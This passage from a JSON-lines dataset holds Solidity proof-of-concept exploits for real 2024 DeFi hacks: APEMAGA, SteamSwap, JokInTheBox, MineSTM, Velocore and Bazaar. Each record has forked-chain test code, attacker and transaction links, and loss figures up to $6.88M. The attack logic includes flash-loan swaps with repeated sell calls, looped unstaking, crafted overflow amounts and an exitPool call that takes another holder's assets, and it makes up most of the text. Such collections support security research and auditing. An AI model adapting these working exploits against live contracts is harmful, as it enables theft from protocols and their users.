swap_token_to_ExactToken(0.1 ether, address(WETH), address(Apemaga), 8000 ether);\n // emit log_named_decimal_uint(\"[End] Attacker token before exploit\", Apemaga.balanceOf(address(this)), Apemaga.decimals());\n\n Apemaga.family(address(Pair));\n Apemaga.family(address(Pair));\n Apemaga.family(address(Pair));\n\n Pair.sync();\n\n address[] memory addrPath = new address[](2);\n addrPath[0] = address(Apemaga);\n addrPath[1] = address(WETH);\n Apemaga.approve(address(uniswapv2), 99_999_999 ether);\n uniswapv2.swapExactTokensForTokens(\n Apemaga.balanceOf(address(this)), 0, addrPath, address(this), type(uint256).max\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0xb297735e9fb3e695ccce3963bfe042f318901ea0", "keyinfo_attack_contract": "https://etherscan.io/address/0x8de6314058c0b7eea809881d73e69b425c01f0b5#code", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x56ff4afd909aa66a1530fe69bf94c74e6d44500c", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5.39, "quality_estimate": "medium", "title": "APEMAGA Exploit (2024-06)", "has_total_lost": false, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$91k\n// Attacker : https://bscscan.com/address/0xb2d546547168f61debf0a780210b5591e4dd39a8\n// Attack Contract : https://bscscan.com/address/0xa4fd1beac3b5fb78a8ec074338152100b87437a9\n// Vulnerable Contract : https://bscscan.com/address/0xb7d0a1adafa3e9e8d8e244c20b6277bee17a09b6\n// Attack Tx : https://bscscan.com/tx/0x40f3bdd0a3a8d0476ae6aa2875dc2ec60b80812e2a394b67a88260df57c65522\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xb7d0a1adafa3e9e8d8e244c20b6277bee17a09b6#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy :\n// Hacking God :\npragma solidity ^0.8.0;\n\ninterface IMineSTM {\n function updateAllowance() external;\n function sell(\n uint256 amount\n ) external;\n}\n\ninterface ICake_LP {\n function sync() external;\n}\n\ncontract SteamSwap is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 39_381_373;\n\n address internal constant Cake_LP = 0x2E45AEf311706e12D48552d0DaA8D9b8fb764B1C;\n address internal constant PancakeV3Pool = 0x92b7807bF19b7DDdf89b706143896d05228f3121;\n address internal constant PancakeRouter = 0x0ff0eBC65deEe10ba34fd81AfB6b95527be46702;\n address internal constant BUSD = 0x55d398326f99059fF775485246999027B3197955;\n address internal constant STM = 0xBd0DF7D2383B1aC64afeAfdd298E640EfD9864e0;\n address internal constant MineSTM = 0xb7D0A1aDaFA3e9e8D8e244C20B6277Bee17a09b6;\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(BUSD);\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n ICake_LP(Cake_LP).sync();\n uint256 amount0 = 500_000_000_000_000_000_000_000;\n IPancakeV3PoolActions(PancakeV3Pool).flash(address(this), amount0, 0, \"\");\n }\n\n function pancakeV3FlashCallback(uint256, uint256, bytes memory) external {\n IERC20(BUSD).approve(PancakeRouter, type(uint256).max);\n\n uint256 balance = IERC20(BUSD).balanceOf(address(this));\n address[] memory path = new address[](2);\n path[0] = BUSD;\n path[1] = STM;\n IPancakeRouter(payable(PancakeRouter)).swapExactTokensForTokensSupportingFeeOnTransferTokens(\n balance, 0, path, address(this), 1_717_695_757\n );\n IMineSTM(MineSTM).updateAllowance();\n IERC20(STM).approve(MineSTM, type(uint256).max);\n\n IMineSTM(MineSTM).sell(788_457_284_784_675_531_947_146);\n IMineSTM(MineSTM).sell(58_404_243_317_383_372_736_827);\n IMineSTM(MineSTM).sell(4_326_240_245_732_101_684_211);\n IMineSTM(MineSTM).sell(32_046_224_042_460_012_475);\n\n IERC20(BUSD).transfer(PancakeV3Pool, 500_050_000_000_000_000_000_000);\n }\n}\n", "type": "exploit_poc", "protocol": "SteamSwap", "date": "2024-06", "file_name": "SteamSwap_exp.sol", "attack_vector": null, "content_hash": "ede6c569bff45a7d", "collected_at": "2026-01-07T10:59:16.521005", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~$91k", "total_lost_usd": 91000.0, "attacker_address": "https://bscscan.com/address/0xb2d546547168f61debf0a780210b5591e4dd39a8", "attack_contract": "https://bscscan.com/address/0xa4fd1beac3b5fb78a8ec074338152100b87437a9", "vulnerable_contract": "https://bscscan.com/address/0xb7d0a1adafa3e9e8d8e244c20b6277bee17a09b6", "attack_tx": "https://bscscan.com/tx/0x40f3bdd0a3a8d0476ae6aa2875dc2ec60b80812e2a394b67a88260df57c65522", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "~$91k", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n ICake_LP(Cake_LP).sync();\n uint256 amount0 = 500_000_000_000_000_000_000_000;\n IPancakeV3PoolActions(PancakeV3Pool).flash(address(this), amount0, 0, \"\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$91k", "keyinfo_attacker": "https://bscscan.com/address/0xb2d546547168f61debf0a780210b5591e4dd39a8", "keyinfo_attack_contract": "https://bscscan.com/address/0xa4fd1beac3b5fb78a8ec074338152100b87437a9", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xb7d0a1adafa3e9e8d8e244c20b6277bee17a09b6", "keyinfo_attack_tx": "https://bscscan.com/tx/0x40f3bdd0a3a8d0476ae6aa2875dc2ec60b80812e2a394b67a88260df57c65522", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$91.0K", "content_richness_score": 7.49, "quality_estimate": "medium", "title": "SteamSwap Exploit (2024-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// Profit : ~9.2 ETH\n// Attacker: https://etherscan.io/address/0xfcd4acbc55df53fbc4c9d275e3495b490635f113\n// Attack Contract: https://etherscan.io/address/0x9d3425d45df30183fda059c586543dcdeb5993e6\n// TX : https://etherscan.io/tx/0xe8277ef6ba8611bd12dc5a6e7ca4b984423bc0b3828159f83b466fdcf4fe054f\n\n \n\ninterface IJokInTheBox is IERC20 {\n struct LockPeriod {\n bool isValid;\n uint256 bonus;\n }\n\n function stake(uint256 amount, uint256 lockPeriod) external;\n function unstake(\n uint256 stakeIndex\n ) external;\n function validLockPeriods(\n uint256\n ) external view returns (LockPeriod memory);\n}\n\ncontract JokInTheBoxExploit is Test {\n IJokInTheBox jokStake_ = IJokInTheBox(address(0xA6447f6156EFfD23EC3b57d5edD978349E4e192d));\n\n IERC20 jok_ = IERC20(address(0xA728Aa2De568766E2Fa4544Ec7A77f79c0bf9F97));\n IERC20 weth_ = IERC20(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n\n Uni_Router_V2 router_ = Uni_Router_V2(payable(address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)));\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 20_054_628);\n jok_.approve(address(router_), type(uint256).max);\n jok_.approve(address(jokStake_), type(uint256).max);\n }\n\n function testExploit() public {\n address[] memory path = new address[](2);\n path[0] = address(weth_); // weth\n path[1] = address(jok_); // token\n\n vm.deal(address(this), 0.2 ether); // flashLoan\n router_.swapExactETHForTokens{value: 0.2 ether}(0, path, address(this), block.timestamp);\n\n jokStake_.stake(jok_.balanceOf(address(this)), 1);\n\n vm.warp(block.timestamp + 3 days);\n while (true) {\n try jokStake_.unstake(0) {}\n catch {\n break;\n }\n }\n\n path[0] = address(jok_); // token\n path[1] = address(weth_); // weth\n\n router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n jok_.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n weth_.transfer(address(0xdead), 0.2 ether); //repay flashloan\n emit log_named_decimal_uint(\"weth profit = \", weth_.balanceOf(address(this)), 18);\n }\n}\n", "type": "exploit_poc", "protocol": "JokInTheBox", "date": "2024-06", "file_name": "JokInTheBox_exp.sol", "attack_vector": "flash_loan", "content_hash": "fc15fc2da16526f4", "collected_at": "2026-01-07T10:59:16.521047", "_source": "postmortems", "chain": "ethereum", "block_number": 20054628, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": "https://etherscan.io/address/0xfcd4acbc55df53fbc4c9d275e3495b490635f113", "attack_contract": "https://etherscan.io/address/0x9d3425d45df30183fda059c586543dcdeb5993e6", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": true, "severity": "medium", "severity_raw": null, "category": "flash-loan", "exploit_code": "function testExploit() public {\n address[] memory path = new address[](2);\n path[0] = address(weth_); // weth\n path[1] = address(jok_); // token\n\n vm.deal(address(this), 0.2 ether); // flashLoan\n router_.swapExactETHForTokens{value: 0.2 ether}(0, path, address(this), block.timestamp);\n\n jokStake_.stake(jok_.balanceOf(address(this)), 1);\n\n vm.warp(block.timestamp + 3 days);\n while (true) {\n try jokStake_.unstake(0) {}\n catch {\n break;\n }\n }\n\n path[0] = address(jok_); // token\n path[1] = address(weth_); // weth\n\n router_.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n jok_.balanceOf(address(this)), 0, path, address(this), block.timestamp\n );\n weth_.transfer(address(0xdead), 0.2 ether); //repay flashloan\n emit log_named_decimal_uint(\"weth profit = \", weth_.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0xfcd4acbc55df53fbc4c9d275e3495b490635f113", "keyinfo_attack_contract": "https://etherscan.io/address/0x9d3425d45df30183fda059c586543dcdeb5993e6", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 5.16, "quality_estimate": "medium", "title": "JokInTheBox Exploit (2024-06)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : \t$13.8K\n// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x849ed7f687cc2ebd1f7c4bed0849893e829a74f512b7f4a18aea39a3ef4d83b1\n// Attacker Address : https://bscscan.com/address/0x40a82dfdbf01630ea87a0372cf95fa8636fcad89\n// Attack Contract : https://bscscan.com/address/0x88c17622d33b327268924e9f90a9e475a244e3ab\n\n \n\ninterface IMineSTM {\n function updateAllowance() external;\n\n function sell(\n uint256\n ) external;\n}\n\ncontract ContractTest is Test {\n Uni_Pair_V3 constant BUSDT_USDC = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);\n IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 STM = IERC20(0xBd0DF7D2383B1aC64afeAfdd298E640EfD9864e0);\n Uni_Pair_V2 constant BUSDT_STM = Uni_Pair_V2(0x2E45AEf311706e12D48552d0DaA8D9b8fb764B1C);\n Uni_Router_V2 constant ROUTER = Uni_Router_V2(0x0ff0eBC65deEe10ba34fd81AfB6b95527be46702);\n uint256 flashBUSDTAmount = 50_000 ether;\n IMineSTM mineSTM = IMineSTM(0xb7D0A1aDaFA3e9e8D8e244C20B6277Bee17a09b6);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 39_383_150 - 1);\n }\n\n function testExploit() public {\n BUSDT_USDC.flash(address(this), flashBUSDTAmount, 0, abi.encodePacked(uint256(1)));\n\n emit log_named_decimal_uint(\"Profit: \", BUSDT.balanceOf(address(this)), 18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n BUSDT_STM.sync();\n BUSDT.approve(address(ROUTER), flashBUSDTAmount);\n\n address[] memory path = new address[](2);\n path[0] = address(BUSDT);\n path[1] = address(STM);\n\n ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(\n flashBUSDTAmount, 0, path, address(this), block.timestamp\n );\n\n STM.approve(address(mineSTM), type(uint256).max);\n mineSTM.updateAllowance();\n mineSTM.sell(81);\n mineSTM.sell(7);\n\n BUSDT.transfer(msg.sender, flashBUSDTAmount * 10_001 / 10_000);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "MineSTM", "date": "2024-06", "file_name": "MineSTM_exp.sol", "attack_vector": null, "content_hash": "2f097f10f54f5277", "collected_at": "2026-01-07T10:59:16.521092", "_source": "postmortems", "chain": "bsc", "block_number": 39383150, "total_lost_raw": "$13.8K", "total_lost_usd": 13800.0, "attacker_address": null, "attack_contract": "https://bscscan.com/address/0x88c17622d33b327268924e9f90a9e475a244e3ab", "vulnerable_contract": null, "attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x849ed7f687cc2ebd1f7c4bed0849893e829a74f512b7f4a18aea39a3ef4d83b1", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": "$13.8K", "category": "unknown", "exploit_code": "function testExploit() public {\n BUSDT_USDC.flash(address(this), flashBUSDTAmount, 0, abi.encodePacked(uint256(1)));\n\n emit log_named_decimal_uint(\"Profit: \", BUSDT.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "$13.8K", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://bscscan.com/address/0x88c17622d33b327268924e9f90a9e475a244e3ab", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://app.blocksec.com/explorer/tx/bsc/0x849ed7f687cc2ebd1f7c4bed0849893e829a74f512b7f4a18aea39a3ef4d83b1", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$13.8K", "content_richness_score": 6.09, "quality_estimate": "medium", "title": "MineSTM Exploit (2024-06)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : \t$6.88M\n// Attack Tx : https://lineascan.build/tx/0xed11d5b013bf3296b1507da38b7bcb97845dd037d33d3d1b0c5e763889cdbed1\n// Attacker Address : https://lineascan.build/address/0x8cdc37ed79c5ef116b9dc2a53cb86acaca3716bf\n// Attack Contract : https://lineascan.build/address/0xb7f6354b2cfd3018b3261fbc63248a56a24ae91a\n\n// @Analysis: https://x.com/BeosinAlert/status/1797247874528645333\n\ninterface ConstantProductPool {\n type Token is bytes32;\n\n function velocore__execute(\n address,\n bytes32[] calldata tokens,\n int128[] memory r,\n bytes calldata data\n ) external returns (int128[] memory, int128[] memory);\n\n function totalSupply() external view returns (uint256);\n\n function poolBalances() external view returns (uint256[] memory);\n}\n\nstruct VelocoreOperation {\n bytes32 poolId;\n bytes32[] tokenInformations;\n bytes data;\n}\n\ninterface SwapFacet {\n type Token is bytes32;\n\n function execute(\n bytes32[] memory tokens,\n int128[] memory deposit,\n VelocoreOperation[] memory ops\n ) external payable;\n}\n\ncontract ContractTest is Test {\n type Token is bytes32;\n\n address USDC_ETH_VLP = 0xe2c67A9B15e9E7FF8A9Cb0dFb8feE5609923E5DB;\n\n address swapfacet = 0x1d0188c4B276A09366D05d6Be06aF61a73bC7535;\n\n address USDC_e = 0x176211869cA2b568f2A7D4EE941E073a821EE1ff;\n\n bytes32 USDC_e_bytes32 = 0x000000000000000000000000176211869ca2b568f2a7d4ee941e073a821ee1ff;\n\n bytes32 ETH_bytes32 = 0xeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee;\n\n bytes32 USDC_ETH_VLP_bytes32 = 0x000000000000000000000000e2c67a9b15e9e7ff8a9cb0dfb8fee5609923e5db;\n\n function setUp() public {\n vm.createSelectFork(\"linea\", 5_079_177 - 1);\n }\n\n function testExploit() public {\n // 1. Check the total Supply Before Attack of VLP\n uint256 totalSupplyBeforeAttack = ConstantProductPool(USDC_ETH_VLP).totalSupply();\n\n // console.log(\"total Supply Before Attack:\", totalSupplyBeforeAttack);\n\n // 2. Call velocore__execute function three times with same parameters\n\n bytes32[] memory tokens = new bytes32[](2);\n\n tokens[0] = USDC_e_bytes32;\n tokens[1] = USDC_ETH_VLP_bytes32;\n\n int128[] memory amounts = new int128[](2);\n\n amounts[0] = 170_141_183_460_469_231_731_687_303_715_884_105_727;\n amounts[1] = 8_616_292_632_827_688;\n\n ConstantProductPool(USDC_ETH_VLP).velocore__execute(address(this), tokens, amounts, hex\"\");\n\n ConstantProductPool(USDC_ETH_VLP).velocore__execute(address(this), tokens, amounts, hex\"\");\n\n ConstantProductPool(USDC_ETH_VLP).velocore__execute(address(this), tokens, amounts, hex\"\");\n\n // 3. Check the balance of USDC_ETH_VLP\n\n uint256[] memory a = ConstantProductPool(USDC_ETH_VLP).poolBalances();\n\n // 4. Call Valut.SwapFacet execute function with 4 ops\n\n bytes32[] memory tokenRef = new bytes32[](3);\n\n tokenRef[0] = USDC_e_bytes32;\n\n tokenRef[1] = ETH_bytes32;\n\n tokenRef[2] = USDC_ETH_VLP_bytes32;\n\n int128[] memory deposit = new int128[](3);\n\n deposit[0] = 0;\n deposit[1] = 0;\n deposit[2] = 0;\n\n VelocoreOperation[] memory ops = new VelocoreOperation[](4);\n\n ops[0].poolId = USDC_ETH_VLP_bytes32;\n\n ops[0].tokenInformations = new bytes32[](3);\n\n ops[0].tokenInformations[0] = 0x00000000000000000000000000000000ffffffffffffffffffffff787406ca5f;\n ops[0].tokenInformations[1] = 0x010100000000000000000000000000007fffffffffffffffffffffffffffffff;\n ops[0].tokenInformations[2] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;\n ops[0].data = \"\";\n\n ops[1].poolId = USDC_ETH_VLP_bytes32;\n\n ops[1].tokenInformations = new bytes32[](3);\n\n ops[1].tokenInformations[0] = 0x00000000000000000000000000000000fffffffffffffffffffffffd4a0022c4;\n ops[1].tokenInformations[1] = 0x010100000000000000000000000000007fffffffffffffffffffffffffffffff;\n ops[1].tokenInformations[2] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;\n ops[1].data = \"\";\n\n ops[2].poolId = USDC_ETH_VLP_bytes32;\n\n ops[2].tokenInformations = new bytes32[](3);\n\n ops[2].tokenInformations[0] = 0x00000000000000000000000000000000fffffffffffffffffffffffff21eb904;\n ops[2].tokenInformations[1] = 0x010100000000000000000000000000007fffffffffffffffffffffffffffffff;\n ops[2].tokenInformations[2] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;\n ops[2].data = \"\";\n\n ops[3].poolId = USDC_ETH_VLP_bytes32;\n\n ops[3].tokenInformations = new bytes32[](2);\n\n ops[3].tokenInformations[0] = 0x00000000000000000000000000000000ffffffffffffffffffffffffffffd8f0;\n ops[3].tokenInformations[1] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;\n\n ops[3].data = \"\";\n\n SwapFacet(swapfacet).execute(tokenRef, deposit, ops);\n\n // 5. Check the profit after attack\n\n uint256 usdc_e_balance = IERC20(USDC_e).balanceOf(address(this));\n\n console.log(\"---------------------------------------------------\");\n console.log(\"USDC_e profit after attack: $\", usdc_e_balance / 10 ** 6);\n console.log(\"---------------------------------------------------\");\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "Velocore", "date": "2024-06", "file_name": "Velocore_exp.sol", "attack_vector": null, "content_hash": "1591fd5c41cc8fbb", "collected_at": "2026-01-07T10:59:16.521143", "_source": "postmortems", "chain": "unknown", "block_number": 5079177, "total_lost_raw": "$6.88M", "total_lost_usd": 6880000.0, "attacker_address": null, "attack_contract": "https://lineascan.build/address/0xb7f6354b2cfd3018b3261fbc63248a56a24ae91a", "vulnerable_contract": null, "attack_tx": "https://lineascan.build/tx/0xed11d5b013bf3296b1507da38b7bcb97845dd037d33d3d1b0c5e763889cdbed1", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "$6.88M", "category": "unknown", "exploit_code": "function testExploit() public {\n // 1. Check the total Supply Before Attack of VLP\n uint256 totalSupplyBeforeAttack = ConstantProductPool(USDC_ETH_VLP).totalSupply();\n\n // console.log(\"total Supply Before Attack:\", totalSupplyBeforeAttack);\n\n // 2. Call velocore__execute function three times with same parameters\n\n bytes32[] memory tokens = new bytes32[](2);\n\n tokens[0] = USDC_e_bytes32;\n tokens[1] = USDC_ETH_VLP_bytes32;\n\n int128[] memory amounts = new int128[](2);\n\n amounts[0] = 170_141_183_460_469_231_731_687_303_715_884_105_727;\n amounts[1] = 8_616_292_632_827_688;\n\n ConstantProductPool(USDC_ETH_VLP).velocore__execute(address(this), tokens, amounts, hex\"\");\n\n ConstantProductPool(USDC_ETH_VLP).velocore__execute(address(this), tokens, amounts, hex\"\");\n\n ConstantProductPool(USDC_ETH_VLP).velocore__execute(address(this), tokens, amounts, hex\"\");\n\n // 3. Check the balance of USDC_ETH_VLP\n\n uint256[] memory a = ConstantProductPool(USDC_ETH_VLP).poolBalances();\n\n // 4. Call Valut.SwapFacet execute function with 4 ops\n\n bytes32[] memory tokenRef = new bytes32[](3);\n\n tokenRef[0] = USDC_e_bytes32;\n\n tokenRef[1] = ETH_bytes32;\n\n tokenRef[2] = USDC_ETH_VLP_bytes32;\n\n int128[] memory deposit = new int128[](3);\n\n deposit[0] = 0;\n deposit[1] = 0;\n deposit[2] = 0;\n\n VelocoreOperation[] memory ops = new VelocoreOperation[](4);\n\n ops[0].poolId = USDC_ETH_VLP_bytes32;\n\n ops[0].tokenInformations = new bytes32[](3);\n\n ops[0].tokenInformations[0] = 0x00000000000000000000000000000000ffffffffffffffffffffff787406ca5f;\n ops[0].tokenInformations[1] = 0x010100000000000000000000000000007fffffffffffffffffffffffffffffff;\n ops[0].tokenInformations[2] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;\n ops[0].data = \"\";\n\n ops[1].poolId = USDC_ETH_VLP_bytes32;\n\n ops[1].tokenInformations = new bytes32[](3);\n\n ops[1].tokenInformations[0] = 0x00000000000000000000000000000000fffffffffffffffffffffffd4a0022c4;\n ops[1].tokenInformations[1] = 0x010100000000000000000000000000007fffffffffffffffffffffffffffffff;\n ops[1].tokenInformations[2] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;\n ops[1].data = \"\";\n\n ops[2].poolId = USDC_ETH_VLP_bytes32;\n\n ops[2].tokenInformations = new bytes32[](3);\n\n ops[2].tokenInformations[0] = 0x00000000000000000000000000000000fffffffffffffffffffffffff21eb904;\n ops[2].tokenInformations[1] = 0x010100000000000000000000000000007fffffffffffffffffffffffffffffff;\n ops[2].tokenInformations[2] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;\n ops[2].data = \"\";\n\n ops[3].poolId = USDC_ETH_VLP_bytes32;\n\n ops[3].tokenInformations = new bytes32[](2);\n\n ops[3].tokenInformations[0] = 0x00000000000000000000000000000000ffffffffffffffffffffffffffffd8f0;\n ops[3].tokenInformations[1] = 0x020100000000000000000000000000007fffffffffffffffffffffffffffffff;\n\n ops[3].data = \"\";\n\n SwapFacet(swapfacet).execute(tokenRef, deposit, ops);\n\n // 5. Check the profit after attack\n\n uint256 usdc_e_balance = IERC20(USDC_e).balanceOf(address(this));\n\n console.log(\"---------------------------------------------------\");\n console.log(\"USDC_e profit after attack: $\", usdc_e_balance / 10 ** 6);\n console.log(\"---------------------------------------------------\");\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "$6.88M", "keyinfo_attacker": "", "keyinfo_attack_contract": "https://lineascan.build/address/0xb7f6354b2cfd3018b3261fbc63248a56a24ae91a", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://lineascan.build/tx/0xed11d5b013bf3296b1507da38b7bcb97845dd037d33d3d1b0c5e763889cdbed1", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$6.88M", "content_richness_score": 7.77, "quality_estimate": "medium", "title": "Velocore Exploit (2024-06)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : 1.4M\n// Attacker : https://blastscan.io/address/0x3cf5B87726Af770c94494E886d2A69c42A203884\n// Attack Contract : https://blastscan.io/address/0xd31c7a22f4e6f928f1d4adabbc08c7bf88a3e402\n// Vulnerable Contract : https://blastscan.io/address/0xefb4e3Cc438eF2854727A7Df0d0baf844484EdaB\n// Attack Tx : https://blastscan.io/tx/0x7fdd140f7631f62d62f7256ee4a38af51a4723ad5d66adc9b9685bf78f750f2d\n\n// @Info\n// Vulnerable Contract Code : https://blastscan.io/address/0xefb4e3Cc438eF2854727A7Df0d0baf844484EdaB#code\n\n// @Analysis\n// Post-mortem :\n// Twitter Guy : https://x.com/shoucccc/status/1800353122159833195\n// Hacking God :\npragma solidity ^0.8.0;\n\ncontract Bazaar is BaseTestWithBalanceLog {\n uint256 private constant BLOCKNUM_TO_FORK_FROM = 4_619_716;\n uint256 private constant MAX_ETH_OUT = 850_000_000 ether;\n uint256 private constant EXPECTED_ETH = 392.368916743742801361 ether;\n\n address private constant WETH_ADDRESS = 0x4300000000000000000000000000000000000004;\n address private constant RYOLO_ADDRESS = 0x86cba7808127d76deaC14ec26eF6000Aa78b2eBb;\n address private constant VULN_VAULT_ADDRESS = 0xefb4e3Cc438eF2854727A7Df0d0baf844484EdaB;\n\n IWETH private constant weth = IWETH(payable(WETH_ADDRESS));\n IBalancerVault private constant vulnVault = IBalancerVault(VULN_VAULT_ADDRESS);\n\n address private constant HOLDER_TO_TAKE_FROM = 0xb66585C4E460D49154D50325CE60aDC44bc900E9;\n bytes32 private constant TARGET_ID = 0xdc4a9779d6084c1ab3e815b67ed5e6780ccf4d90000200000000000000000001;\n\n receive() external payable {}\n\n function setUp() public {\n vm.createSelectFork(\"blast\", BLOCKNUM_TO_FORK_FROM);\n fundingToken = address(weth);\n }\n\n function testExploit() public balanceLog {\n vulnVault.exitPool(TARGET_ID, HOLDER_TO_TAKE_FROM, payable(address(this)), buildExitPoolRequest());\n assertEq(getFundingBal(), EXPECTED_ETH, \"Did not get expected ETH\");\n }\n\n function buildExitPoolRequest() private view returns (IBalancerVault.ExitPoolRequest memory) {\n IBalancerVault.ExitPoolRequest memory request = IBalancerVault.ExitPoolRequest({\n asset: new address[](2),\n minAmountsOut: new uint256[](2),\n userData: abi.encode(1, MAX_ETH_OUT),\n toInternalBalance: false\n });\n request.asset[0] = address(weth);\n request.asset[1] = RYOLO_ADDRESS;\n request.minAmountsOut[0] = 0;\n request.minAmountsOut[1] = 0;\n return request;\n }\n}\n", "type": "exploit_poc", "protocol": "Bazaar", "date": "2024-06", "file_name": "Bazaar_exp.sol", "attack_vector": null, "content_hash": "8a5d7098926b3495", "collected_at": "2026-01-07T10:59:16.521201", "_source": "postmortems", "chain": "unknown", "block_number": null, "total_lost_raw": "1.4M", "total_lost_usd": 1400000.0, "attacker_address": "https://blastscan.io/address/0x3cf5B87726Af770c94494E886d2A69c42A203884", "attack_contract": "https://blastscan.io/address/0xd31c7a22f4e6f928f1d4adabbc08c7bf88a3e402", "vulnerable_contract": "https://blastscan.io/address/0xefb4e3Cc438eF2854727A7Df0d0baf844484EdaB", "attack_tx": "https://blastscan.io/tx/0x7fdd140f7631f62d62f7256ee4a38af51a4723ad5d66adc9b9685bf78f750f2d", "postmortem_url": null, "twitter_url": "https://x.com/shoucccc/status/1800353122159833195", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "1.4M", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n vulnVault.exitPool(TARGET_ID, HOLDER_TO_TAKE_FROM, payable(address(this)), buildExitPoolRequest());\n assertEq(getFundingBal(), EXPECTED_ETH, \"Did not get expected ETH\");\n }", "has_exploit_code": true, "keyinfo_total_lost": "1.4M", "keyinfo_attacker": "https://blastscan.io/address/0x3cf5B87726Af770c94494E886d2A69c42A203884", "keyinfo_attack_contract": "https://blastscan.io/address/0xd31c7a22f4e6f928f1d4adabbc08c7bf88a3e402", "keyinfo_vulnerable_contract": "https://blastscan.io/address/0xefb4e3Cc438eF2854727A7Df0d0baf844484EdaB", "keyinfo_attack_tx": "https://blastscan.io/tx/0x7fdd140f7631f62d62f7256ee4a38af51a4723ad5d66adc9b9685bf78f750f2d", "analysis_postmortem": "", "analysis_twitter": "https://x.com/shoucccc/status/1800353122159833195", "funds_lost_formatted": "$1.40M", "content_richness_score": 7.32, "quality_estimate": "medium", "title": "Bazaar Exploit (2024-06)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : 